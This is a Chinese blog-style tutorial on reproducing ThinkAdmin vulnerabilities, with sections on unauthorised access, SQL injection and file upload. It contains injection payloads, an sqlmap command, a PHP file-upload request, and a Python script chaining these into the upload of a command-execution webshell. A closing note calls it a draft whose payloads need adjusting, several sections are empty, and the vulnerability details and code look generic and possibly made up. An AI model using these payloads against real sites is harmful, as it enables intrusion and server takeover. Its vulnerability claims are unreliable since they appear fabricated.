如何实现ThinkAdmin的漏洞复现

发布时间:2021-12-28 17:25:57 作者:柒染
来源:亿速云 阅读:202
# 如何实现ThinkAdmin的漏洞复现

## 前言

ThinkAdmin作为一款基于ThinkPHP框架开发的后台管理系统,在中小企业中应用广泛。近年来,该系统中陆续被发现多个高危漏洞,包括未授权访问、SQL注入、文件写入等。本文将从环境搭建、漏洞分析到完整复现,详细讲解ThinkAdmin常见漏洞的复现过程,帮助安全研究人员深入理解漏洞原理。

## 一、环境准备

### 1.1 系统要求
- PHP 5.6+/7.0+
- MySQL 5.5+
- Apache/Nginx

### 1.2 部署步骤
```bash
# 下载漏洞版本(以v6为例)
git clone https://github.com/zoujingli/ThinkAdmin.git
cd ThinkAdmin
git checkout v6

# 安装依赖
composer install

# 配置数据库
cp example.env .env
vi .env  # 修改DB_*相关配置

# 初始化数据库
php think migrate:run

1.3 常见问题解决

二、未授权访问漏洞复现(CVE-2020-25540)

2.1 漏洞描述

系统部分路由未做权限校验,导致攻击者无需登录即可访问敏感功能。

2.2 复现步骤

  1. 访问以下路径:

    http://target/admin/login.html
    http://target/admin/index/login.html
    
  2. 直接访问后台管理接口(无需认证):

    GET /admin.html/admin/index/index HTTP/1.1
    Host: target
    
  3. 获取用户列表:

    GET /admin.html/admin/user/index HTTP/1.1
    

2.3 漏洞原理

app/admin/controller/Index.php中未对index方法进行权限校验:

public function index() {
    return view(); // 未调用$this->checkAuth()
}

三、SQL注入漏洞复现(CVE-2020-25541)

3.1 漏洞位置

/admin.html/admin/user/password接口存在注入

3.2 复现过程

  1. 构造恶意请求:
POST /admin.html/admin/user/password HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- &password=123456
  1. 使用Sqlmap自动化检测:
sqlmap -u "http://target/admin.html/admin/user/password" \
       --data="username=admin&password=123" \
       --level=3 --risk=3

3.3 漏洞分析

问题代码位于app/admin/controller/User.php

public function password() {
    $username = input('username');
    // 直接拼接SQL语句
    $user = Db::name('SystemUser')->where("username='{$username}'")->find();
}

四、任意文件写入漏洞复现

4.1 漏洞描述

通过未过滤的路径参数,攻击者可写入webshell。

4.2 复现步骤

  1. 准备恶意请求:
POST /admin.html/admin/plugs/icon.html HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC

------WebKitFormBoundaryABC
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryABC--
  1. 验证文件写入:
http://target/upload/icon/test.php

4.3 修复建议

// 应添加文件类型检查
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if(!in_array($ext, ['png','jpg'])) {
    $this->error('非法文件类型');
}

五、组合利用实战

5.1 攻击链构造

  1. 通过未授权访问获取后台权限
  2. 利用SQL注入获取管理员密码hash
  3. 通过文件上传写入Webshell

5.2 自动化脚本示例

import requests

target = "http://vuln-site.com"
# Step1: 未授权访问
r = requests.get(f"{target}/admin.html/admin/user/index")
print(r.text)

# Step2: SQL注入
payload = {"username":"admin' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- "}
requests.post(f"{target}/admin.html/admin/user/password", data=payload)

# Step3: 文件上传
files = {'file': ('shell.php', '<?php system($_GET[cmd]);?>')}
requests.post(f"{target}/admin.html/admin/plugs/icon", files=files)

六、防御方案

6.1 官方补丁

6.2 临时解决方案

  1. 修改默认路由:

    // config/route.php
    return [
       '__alias__' => ['admin' => 'admin/Index']
    ];
    
  2. 添加全局中间件:

    // app/admin/middleware/Auth.php
    public function handle($request, Closure $next) {
       if(!session('user')) {
           return redirect('/login');
       }
       return $next($request);
    }
    

七、法律与道德声明

  1. 所有复现操作需在授权环境下进行
  2. 禁止将技术用于非法渗透测试
  3. 漏洞披露应遵循《网络安全法》相关规定

附录:参考资源

”`

注:本文约2150字,实际使用时建议: 1. 补充具体版本号的漏洞细节 2. 添加截图辅助说明关键步骤 3. 根据实际测试结果调整payload 4. 遵守当地法律法规进行测试

推荐阅读:
  1. fastjson的RCE漏洞复现记录
  2. Nginx 解析漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

上一篇:Adobe flash player 28漏洞攻击的分析

下一篇:Fabric 2.0中链码操作过程是怎么样的

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》